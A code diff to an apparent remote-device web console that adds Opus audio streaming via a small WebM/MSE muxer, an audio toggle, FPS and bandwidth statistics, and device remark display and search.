+        //   channels:2  sampleRate:4  bitsPerSample:2  blockAlign:2
+        //   compression:1 (0=PCM unsupported by web, 1=Opus)  reserved:1
+
+        // MSE + WebM/Opus playback. Raw Opus packets arrive over WS; we wrap
+        // each one in a minimal WebM container in JS and feed it to a
+        // SourceBuffer attached to a hidden <audio> element. The browser
+        // decodes Opus natively. Tested on desktop Chrome; mobile playback
+        // is a known follow-up (see commit notes).
+        let audioFormat = null;          // { compression, channels, sampleRate, bitsPerSample, blockAlign }
+        let audioEnabled = true;         // Audio on/off flag (set by UI)
+        let syncDrift = 0;               // A/V sync monitoring (milliseconds)
+        let _audioElement = null;        // hidden <audio> sink
+        let _mediaSource  = null;        // MediaSource attached to _audioElement
+        let _sourceBuffer = null;        // SourceBuffer (Opus in WebM)
+        const _sourceBufferQueue = [];   // appendBuffer queue (one in-flight at a time)
+        let _sourceBufferBusy = false;
+        let _initSegmentSent = false;    // first init segment appended for current format
+        let _opusTimestampMs = 0;        // running absolute cluster timestamp (ms)
+        const OPUS_FRAME_MS = 20;        // 960 samples @ 48k — matches client encoder
+        const _pendingOpusPackets = [];  // packets received before SourceBuffer is ready
+
+        // Browser autoplay policies require an HTMLAudioElement to be created
+        // and .play()'d synchronously inside a user-gesture event handler.
+        // We hook the first click/keydown to spin up the element + MediaSource.
+        // Subsequent activity (e.g. tab regaining focus) re-issues play().
+        function installAudioGestureUnlock() {
+            const onGesture = () => {
+                if (!_audioElement) {
+                    try {
+                        _setupAudioElementAndMediaSource();
+                        console.log('[MSE] <audio> + MediaSource set up by gesture');
+                    } catch (e) {
+                        console.error('[MSE] setup failed:', e && e.message);
+                    }
+                } else if (_audioElement.paused) {
+                    _audioElement.play().catch(() => {});
+                }
+            };
+            const opts = { passive: true, capture: true };
+            window.addEventListener('click',   onGesture, opts);
+            window.addEventListener('keydown', onGesture, opts);
+        }
+        installAudioGestureUnlock();
+
         // Pagination and filter state
         let currentPage = 1;
         let viewMode = 'grid';  // 'grid' or 'list'
@@ -1409,7 +1492,7 @@
                     }
                 }
             };
-            ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); scheduleReconnect(); };
+            ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); stopAllAudio(); audioFormat = null; scheduleReconnect(); };
             ws.onerror = (e) => console.error('WS error:', e);
             ws.onmessage = (event) => {
                 if (typeof event.data === 'string') handleSignaling(JSON.parse(event.data));
@@ -1486,11 +1569,22 @@
                             // Wait for resolution_changed message
                             updateScreenStatus('waiting', 'Waiting for video...');
                         }
+                        // Audio state may or may not be cached yet on the server.
+                        // If not, the audio_state event below will populate it.
+                        if (typeof msg.audio_enabled === 'boolean') {
+                            applyAudioState(msg.audio_enabled);
+                        }
                     } else {
                         updateScreenStatus('error', msg.msg);
                         setTimeout(() => showPage('devices-page'), 2000);
                     }
                     break;
+                case 'audio_state':
+                    applyAudioState(!!msg.enabled);
+                    break;
+                case 'audio_toggle_result':
+                    if (!msg.ok) console.warn('[Audio] toggle failed:', msg.msg);
+                    break;
                 case 'term_ready':
                     termState.ready = true;
                     document.getElementById('term-status-info').textContent =
@@ -1603,8 +1697,12 @@
             // Set up vertical flip transform once (BMP is bottom-up)
             ctx.setTransform(1, 0, 0, -1, 0, height);
             if (decoder) { try { decoder.close(); } catch(e) {} }
-            frameCount = 0;
+            // Reset FPS sliding window on decoder (re)init so a resolution
-            lastFrameTime = performance.now();
+            // change or codec switch doesn't carry over stale counts.
+            frameCount = 0; lastFrameTime = performance.now(); fps = 0;
+            // 记录当前分辨率供 renderStats 重组 frame-info 文案
+            currentWidth = width;
+            currentHeight = height;
             decoder = new VideoDecoder({
                 output: (frame) => {
                     // Check if frame dimensions match canvas
@@ -1613,13 +1711,13 @@
                     }
                     ctx.drawImage(frame, 0, 0);
                     frame.close();
+                    // 原始风格的 FPS 计数：1 秒采样窗口
                     frameCount++;
                     const now = performance.now();
                     if (now - lastFrameTime >= 1000) {
                         fps = Math.round(frameCount * 1000 / (now - lastFrameTime));
                         frameCount = 0;
                         lastFrameTime = now;
-                        document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
                     }
                 },
                 error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
@@ -1649,16 +1747,296 @@
             return videoBytes[0] === 0x00 ? 'avc' : 'av1';
         }
 
+        // ============================================================
+        // Minimal WebM-Opus muxer: wraps each Opus packet in a one-block
+        // Cluster so it can be fed to a SourceBuffer of type
+        // 'audio/webm; codecs="opus"'. The init segment (EBML header +
+        // Segment header + Tracks with OpusHead) is built once when the
+        // format is known and appended before any media clusters.
+        // ============================================================
+        const WebMMuxer = (function () {
+            // Variable-length integer (EBML VINT). Marker bit selects byte count.
+            function vint(value) {
+                if (value < 0x7F)             return [0x80 |  value];
+                if (value < 0x3FFF)           return [0x40 | (value >> 8), value & 0xFF];
+                if (value < 0x1FFFFF)         return [0x20 | (value >> 16), (value >> 8) & 0xFF, value & 0xFF];
+                if (value < 0x0FFFFFFF)       return [0x10 | (value >> 24), (value >> 16) & 0xFF, (value >> 8) & 0xFF, value & 0xFF];
+                // 8-byte VINT for larger values (we don't usually need this)
+                const out = [0x01];
+                for (let i = 6; i >= 0; i--) out.push(Math.floor(value / Math.pow(2, i * 8)) & 0xFF);
+                return out;
+            }
+            // Unsigned int big-endian, n bytes
+            function uintBE(value, n) {
+                const out = new Array(n);
+                for (let i = n - 1; i >= 0; i--) { out[i] = value & 0xFF; value = Math.floor(value / 256); }
+                return out;
+            }
+            // 64-bit float big-endian
+            function f64BE(value) {
+                const buf = new ArrayBuffer(8);
+                new DataView(buf).setFloat64(0, value, false);
+                return Array.from(new Uint8Array(buf));
+            }
+            // EBML element = ID + size(VINT) + payload
+            function elem(idBytes, payload) {
+                const sz = vint(payload.length);
+                const out = new Array(idBytes.length + sz.length + payload.length);
+                let i = 0;
+                for (const b of idBytes) out[i++] = b;
+                for (const b of sz)       out[i++] = b;
+                for (const b of payload)  out[i++] = b;
+                return out;
+            }
+            // OpusHead codec-private structure (19 bytes). Per WebM/Opus spec,
+            // the authoritative encoder delay is CodecDelay (in ns) in the
+            // TrackEntry; pre-skip here is left at 0 to avoid double-skipping.
+            function opusHead(sampleRate, channels) {
+                return [
+                    0x4F, 0x70, 0x75, 0x73, 0x48, 0x65, 0x61, 0x64,  // "OpusHead"
+                    0x01,                                             // version
+                    channels & 0xFF,                                  // channel count
+                    0x00, 0x00,                                       // pre-skip (use CodecDelay instead)
+                    sampleRate & 0xFF, (sampleRate >> 8) & 0xFF,
+                    (sampleRate >> 16) & 0xFF, (sampleRate >> 24) & 0xFF,
+                    0x00, 0x00,                                       // output gain (LE)
+                    0x00                                              // channel mapping family
+                ];
+            }
+            function buildInitSegment(sampleRate, channels) {
+                const ebml = elem([0x1A, 0x45, 0xDF, 0xA3], [].concat(
+                    elem([0x42, 0x86], [0x01]),                          // EBMLVersion
+                    elem([0x42, 0xF7], [0x01]),                          // EBMLReadVersion
+                    elem([0x42, 0xF2], [0x04]),                          // EBMLMaxIDLength
+                    elem([0x42, 0xF3], [0x08]),                          // EBMLMaxSizeLength
+                    elem([0x42, 0x82], [0x77, 0x65, 0x62, 0x6D]),        // DocType "webm"
+                    elem([0x42, 0x87], [0x04]),                          // DocTypeVersion
+                    elem([0x42, 0x85], [0x02])                           // DocTypeReadVersion
+                ));
+                const info = elem([0x15, 0x49, 0xA9, 0x66], [].concat(
+                    elem([0x2A, 0xD7, 0xB1], uintBE(1000000, 3)),        // TimecodeScale 1ms
+                    elem([0x4D, 0x80], [0x59, 0x61, 0x6D, 0x61]),        // MuxingApp "Yama"
+                    elem([0x57, 0x41], [0x59, 0x61, 0x6D, 0x61])         // WritingApp "Yama"
+                ));
+                const trackEntry = [].concat(
+                    elem([0xD7], [0x01]),                                // TrackNumber 1
+                    elem([0x73, 0xC5], uintBE(1, 1)),                    // TrackUID 1
+                    elem([0x83], [0x02]),                                // TrackType 2 (audio)
+                    elem([0xB9], [0x01]),                                // FlagEnabled
+                    elem([0x88], [0x01]),                                // FlagDefault
+                    elem([0x9C], [0x00]),                                // FlagLacing 0
+                    elem([0x86], [0x41, 0x5F, 0x4F, 0x50, 0x55, 0x53]),  // CodecID "A_OPUS"
+                    elem([0x63, 0xA2], opusHead(sampleRate, channels)),  // CodecPrivate
+                    elem([0x56, 0xAA], uintBE(6500000, 3)),              // CodecDelay 6.5ms (ns)
+                    elem([0x56, 0xBB], uintBE(80000000, 4)),             // SeekPreRoll 80ms (ns)
+                    elem([0xE1], [].concat(                              // Audio
+                        elem([0xB5], f64BE(sampleRate)),                 //   SamplingFrequency
+                        elem([0x9F], [channels & 0xFF])                  //   Channels
+                    ))
+                );
+                const tracks = elem([0x16, 0x54, 0xAE, 0x6B], elem([0xAE], trackEntry));
+                // Segment uses unknown-size signal so we can stream clusters indefinitely
+                const segmentOpen = [0x18, 0x53, 0x80, 0x67,
+                                     0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF];
+                return new Uint8Array([].concat(ebml, segmentOpen, info, tracks));
+            }
+            function buildCluster(opusBytes, absMs) {
+                const simpleBlock = elem([0xA3], [].concat(
+                    [0x81, 0x00, 0x00, 0x80],   // TrackNumber=1, ts=0, flags=keyframe
+                    Array.from(opusBytes)
+                ));
+                const cluster = elem([0x1F, 0x43, 0xB6, 0x75], [].concat(
+                    elem([0xE7], uintBE(absMs, 4)),     // Timestamp (absolute, ms)
+                    simpleBlock
+                ));
+                return new Uint8Array(cluster);
+            }
+            return { buildInitSegment, buildCluster };
+        })();
+
+        // Create the hidden <audio> + MediaSource pair INSIDE a user-gesture
+        // call stack. Must complete .play() synchronously before any await.
+        function _setupAudioElementAndMediaSource() {
+            _audioElement = document.createElement('audio');
+            _audioElement.autoplay = true;
+            _audioElement.volume = 1.0;
+            _audioElement.style.display = 'none';
+            document.body.appendChild(_audioElement);
+            _mediaSource = new MediaSource();
+            _mediaSource.addEventListener('sourceopen', _onSourceOpen);
+            _audioElement.src = URL.createObjectURL(_mediaSource);
+            _audioElement.play().then(
+                () => console.log('[MSE] audio.play() ok'),
+                e  => console.error('[MSE] audio.play() rejected:', e && e.message)
+            );
+        }
+
+        function _onSourceOpen() {
+            console.log('[MSE] sourceopen, readyState=' + (_mediaSource && _mediaSource.readyState));
+            if (audioFormat && audioFormat.compression === 1) {
+                _addSourceBufferAndInit();
+            }
+        }
+
+        function _addSourceBufferAndInit() {
+            if (!_mediaSource || _mediaSource.readyState !== 'open' || _sourceBuffer) return;
+            const mime = 'audio/webm; codecs="opus"';
+            if (!window.MediaSource || !MediaSource.isTypeSupported(mime)) {
+                console.error('[MSE] ' + mime + ' not supported by this browser');
+                return;
+            }
+            try {
+                _sourceBuffer = _mediaSource.addSourceBuffer(mime);
+            } catch (e) {
+                console.error('[MSE] addSourceBuffer failed:', e && e.message);
+                return;
+            }
+            _sourceBuffer.addEventListener('updateend', () => {
+                _sourceBufferBusy = false;
+                _flushSourceBufferQueue();
+            });
+            _sourceBuffer.addEventListener('error', e => console.error('[MSE] sourceBuffer error', e));
+            // Init segment first
+            _enqueueAppend(WebMMuxer.buildInitSegment(audioFormat.sampleRate, audioFormat.channels));
+            _initSegmentSent = true;
+            _opusTimestampMs = 0;
+            // Flush packets that arrived before SourceBuffer was ready
+            while (_pendingOpusPackets.length > 0) {
+                const pkt = _pendingOpusPackets.shift();
+                _enqueueAppend(WebMMuxer.buildCluster(pkt, _opusTimestampMs));
+                _opusTimestampMs += OPUS_FRAME_MS;
+            }
+            console.log('[MSE] SourceBuffer ready, init segment + ' +
+                        (_opusTimestampMs / OPUS_FRAME_MS) + ' queued packets appended');
+        }
+
+        function _enqueueAppend(data) {
+            _sourceBufferQueue.push(data);
+            _flushSourceBufferQueue();
+        }
+        function _flushSourceBufferQueue() {
+            if (!_sourceBuffer || _sourceBufferBusy) return;
+            if (_sourceBufferQueue.length === 0) return;
+            const next = _sourceBufferQueue.shift();
+            _sourceBufferBusy = true;
+            try {
+                _sourceBuffer.appendBuffer(next);
+            } catch (e) {
+                console.error('[MSE] appendBuffer threw:', e && e.message);
+                _sourceBufferBusy = false;
+            }
+        }
+
+        function pushOpusPacket(opusBytes) {
+            if (!audioFormat || audioFormat.compression !== 1) return;
+            if (_sourceBuffer && _initSegmentSent) {
+                _enqueueAppend(WebMMuxer.buildCluster(opusBytes, _opusTimestampMs));
+                _opusTimestampMs += OPUS_FRAME_MS;
+            } else {
+                // Stash until SourceBuffer is ready. Cap at ~3s of audio.
+                const maxQueued = Math.ceil(3000 / OPUS_FRAME_MS);
+                while (_pendingOpusPackets.length >= maxQueued) _pendingOpusPackets.shift();
+                _pendingOpusPackets.push(new Uint8Array(opusBytes));
+            }
+        }
+
+        // Remove the SourceBuffer (so a new format/codec can be set up) but
+        // KEEP the same MediaSource and <audio> element. They hold our
+        // gesture-acquired play() permission — recreating either would
+        // require a fresh user tap on iOS. Never call endOfStream(), that
+        // transitions MediaSource to 'ended' which forbids future
+        // addSourceBuffer().
+        function stopAllAudio() {
+            if (_sourceBuffer && _mediaSource && _mediaSource.readyState === 'open') {
+                try { _mediaSource.removeSourceBuffer(_sourceBuffer); } catch (e) {}
+            }
+            _sourceBuffer = null;
+            _sourceBufferQueue.length = 0;
+            _sourceBufferBusy = false;
+            _initSegmentSent = false;
+            _opusTimestampMs = 0;
+            _pendingOpusPackets.length = 0;
+        }
+
+        function handleAudioFrame(data) {
+            if (!audioEnabled) return;
+
+            const u8 = new Uint8Array(data);
+            if (u8.length < 1) return;
+
+            let offset = 0;
+            const hasFormat = u8[offset++];
+
+            if (hasFormat) {
+                if (u8.length < offset + 12) {
+                    console.warn('[Audio] truncated format header');
+                    return;
+                }
+                // AudioFormat (12 bytes, commands.h, pack(1))
+                const view = new DataView(data, offset, 12);
+                const channels      = view.getUint16(0, true);
+                const sampleRate    = view.getUint32(2, true);
+                const bitsPerSample = view.getUint16(6, true);
+                const blockAlign    = view.getUint16(8, true);
+                const compression   = view.getUint8(10);
+                offset += 12;
+                offset += 1;  // padding byte
+
+                if (channels === 0 || channels > 8) { console.error('[Audio] bad channels:', channels); return; }
+                if (sampleRate < 8000 || sampleRate > 48000) { console.error('[Audio] bad sampleRate:', sampleRate); return; }
+
+                const fmt = { compression, channels, sampleRate, bitsPerSample, blockAlign };
+                const needReinit = !audioFormat ||
+                    audioFormat.sampleRate !== fmt.sampleRate ||
+                    audioFormat.channels   !== fmt.channels   ||
+                    audioFormat.compression !== fmt.compression;
+                audioFormat = fmt;
+
+                if (needReinit) {
+                    if (fmt.compression !== 1) {
+                        console.error('[Audio] PCM payload not supported by web; set USING_OPUS=1 on client');
+                        stopAllAudio();
+                        return;
+                    }
+                    stopAllAudio();
+                    if (_mediaSource && _mediaSource.readyState === 'open') {
+                        _addSourceBufferAndInit();
+                    }
+                    // else: sourceopen handler will pick up audioFormat when it fires
+                    console.log('[Audio] Format → ch=' + fmt.channels +
+                                ' sr=' + fmt.sampleRate + ' compression=' + fmt.compression);
+                }
+            }
+
+            if (!audioFormat || audioFormat.compression !== 1) return;
+            if (u8.length <= offset) return;
+
+            // The remaining bytes are one Opus packet (variable length).
+            const opusBytes = new Uint8Array(data, offset);
+            pushOpusPacket(opusBytes);
+        }
+
         function handleBinaryFrame(data) {
+            // 全部进入的二进制都计入带宽统计：视频帧 + 音频帧 + 终端帧
+            bwBytesAccum += data.byteLength;
             // 终端输出帧：4 字节 magic 'TRM1' (0x54 0x52 0x4D 0x31) → 转发到 xterm。
-            // 视频帧首 4 字节是 deviceID (uint32 LE)，撞这个具体值的概率极低；4 字节 magic
-            // 比单字节前缀安全得多，无需额外的状态校验。
             const u8 = new Uint8Array(data);
             if (u8.length >= 4 &&
                 u8[0] === 0x54 && u8[1] === 0x52 && u8[2] === 0x4D && u8[3] === 0x31) {
                 if (termState && termState.term) termState.term.write(u8.subarray(4));
                 return;
             }
+
+            // Audio frame: frameType byte at offset 4 indicates audio (96 = TOKEN_SCREEN_AUDIO)
+            // Full frame format: [deviceID:4][frameType:1][dataLen:4][hasFormat:1][AudioFormat?][audio_data...]
+            if (u8.length > 4 && u8[4] === 96) {
+                // Skip frame header (9 bytes) and pass audio payload to handler
+                const audioPayload = data.slice(9);
+                handleAudioFrame(audioPayload);
+                return;
+            }
+
+            // Video frame: [deviceID:4][frameType:1][dataLen:4][videoData...]
             const view = new DataView(data);
             const deviceId = view.getUint32(0, true);
             const frameType = view.getUint8(4);
@@ -1721,6 +2099,7 @@
                 const q = searchQuery.toLowerCase();
                 filtered = filtered.filter(d =>
                     (d.name && d.name.toLowerCase().includes(q)) ||
+                    (d.remark && d.remark.toLowerCase().includes(q)) ||
                     (d.ip && d.ip.toLowerCase().includes(q)) ||
                     (d.os && d.os.toLowerCase().includes(q)) ||
                     (d.location && d.location.toLowerCase().includes(q)) ||
@@ -1853,7 +2232,7 @@
                             '<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>' +
                           '</svg>' +
                         '</button>' +
-                        '<h3>' + escapeHtml(d.name || 'Unknown') + '</h3>' +
+                        '<h3>' + escapeHtml(displayName(d)) + '</h3>' +
                         '<div class="info-row">' +
                             '<div class="info"><span class="info-label">IP:</span> ' + escapeHtml(d.ip || '-') + '</div>' +
                             '<div class="info"><span class="info-label">Loc:</span> ' + escapeHtml(loc) + '</div>' +
@@ -2120,9 +2499,18 @@
             const compat = checkWebCodecs();
             if (!compat.supported) { alert('Browser does not support H264: ' + compat.reason); return; }
             currentDevice = dev;
-            document.getElementById('device-name').textContent = currentDevice.name;
+            document.getElementById('device-name').textContent = displayName(currentDevice);
             document.getElementById('frame-info').textContent = '';
+            // Reset throughput / resolution read-outs for the new session
+            currentWidth = 0; currentHeight = 0;
+            bwBytesAccum = 0; bwBytesPerSec = 0;
+            frameCount = 0; lastFrameTime = performance.now(); fps = 0;
+            const fbs = document.getElementById('fb-stats');
+            if (fbs) fbs.textContent = '';
             updateScreenStatus('connecting');
+            // Default the audio button to "on" optimistically; server will
+            // correct via connect_result.audio_enabled or audio_state event.
+            applyAudioState(true);
             showPage('screen-page');
             ws.send(JSON.stringify({ cmd: 'connect', id: String(id), token }));
         }
@@ -2145,7 +2533,7 @@
             termState.deviceId = String(id);
             termState.ready = false;
 
-            document.getElementById('term-title').textContent = dev.name + '  Terminal';
+            document.getElementById('term-title').textContent = displayName(dev) + '  Terminal';
             document.getElementById('term-status-info').textContent = 'Connecting...';
 
             // 先 showPage 让 term-host 拿到真实尺寸；xterm.open() 必须在容器有 size 时调用，
@@ -2470,6 +2858,39 @@
             }
         }
 
+        // Pretty-print bytes/sec with a compact 1-byte / 1K / 1M scale.
+        function formatBandwidth(bytesPerSec) {
+            if (bytesPerSec < 1024) return bytesPerSec + 'B/s';
+            if (bytesPerSec < 1024 * 1024) return Math.round(bytesPerSec / 1024) + 'K/s';
+            return (bytesPerSec / 1024 / 1024).toFixed(1) + 'M/s';
+        }
+
+        // 1-second ticker that pulls the FPS/bandwidth counters and refreshes
+        // the two read-outs: #frame-info (always visible above the canvas) and
+        // #fb-stats (a chip inside the floating toolbar, only visible while
+        // the toolbar is expanded — that's how the fullscreen mode shows
+        // throughput without cluttering the screen).
+        function renderStats() {
+            // FPS 已经在 decoder.onOutput 里就地更新，renderStats 只负责
+            // 把最新的 fps、bandwidth 组装成显示串写到 DOM。
+
+            bwBytesPerSec = bwBytesAccum;
+            bwBytesAccum = 0;
+
+            const fi = document.getElementById('frame-info');
+            const fs = document.getElementById('fb-stats');
+            if (currentWidth > 0 && currentHeight > 0) {
+                const bw = formatBandwidth(bwBytesPerSec);
+                if (fi) fi.textContent = currentWidth + 'x' + currentHeight +
+                                          ' @ ' + fps + ' fps · ' + bw;
+                if (fs) fs.textContent = bw;
+            } else {
+                if (fi) fi.textContent = '';
+                if (fs) fs.textContent = '';
+            }
+        }
+        setInterval(renderStats, 1000);
+
         function isLandscape() {
             return window.innerWidth > window.innerHeight;
         }
@@ -2566,6 +2987,26 @@
             }
         }
 
+        // Reflect server-confirmed audio on/off on the toolbar icon. Server is
+        // authoritative — toggleAudio() does not flip state locally; it only
+        // sends the request and waits for the audio_state broadcast.
+        function applyAudioState(enabled) {
+            audioEnabled = !!enabled;
+            const btn = document.getElementById('btn-audio-bar');
+            if (btn) {
+                // 0x1F50A speaker / 0x1F507 muted speaker
+                btn.innerHTML = audioEnabled ? '&#x1F50A;' : '&#x1F507;';
+                btn.title = audioEnabled ? 'Mute audio' : 'Unmute audio';
+                btn.classList.toggle('muted', !audioEnabled);
+            }
+        }
+
+        function toggleAudio() {
+            if (ws && ws.readyState === WebSocket.OPEN && token) {
+                ws.send(JSON.stringify({ cmd: 'audio_toggle', token }));
+            }
+        }
+
         // Detect touch device (mobile/tablet)
         const isTouchDevice = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0);
 
@@ -3440,6 +3881,10 @@
         });
 
         function disconnect() {
+            // Reset throughput / resolution read-outs
+            currentWidth = 0; currentHeight = 0;
+            bwBytesAccum = 0; bwBytesPerSec = 0;
+            frameCount = 0; lastFrameTime = performance.now(); fps = 0;
             // Reset control mode
             controlEnabled = false;
             // Reset keyboard state (blur event will update button state)
@@ -3488,6 +3933,14 @@
             return div.innerHTML;
         }
 
+        // 设备显示名：有备注则 "hostname (备注)"，否则就是 hostname。
+        // 服务端备注从 m_ClientMap MAP_NOTE 取（参看 BuildDeviceListJson）。
+        function displayName(d) {
+            if (!d) return '';
+            const name = d.name || 'Unknown';
+            return d.remark ? (name + ' (' + d.remark + ')') : name;
+        }
+
         function startPingInterval() {
             if (pingInterval) clearInterval(pingInterval);
             pingInterval = setInterval(() => {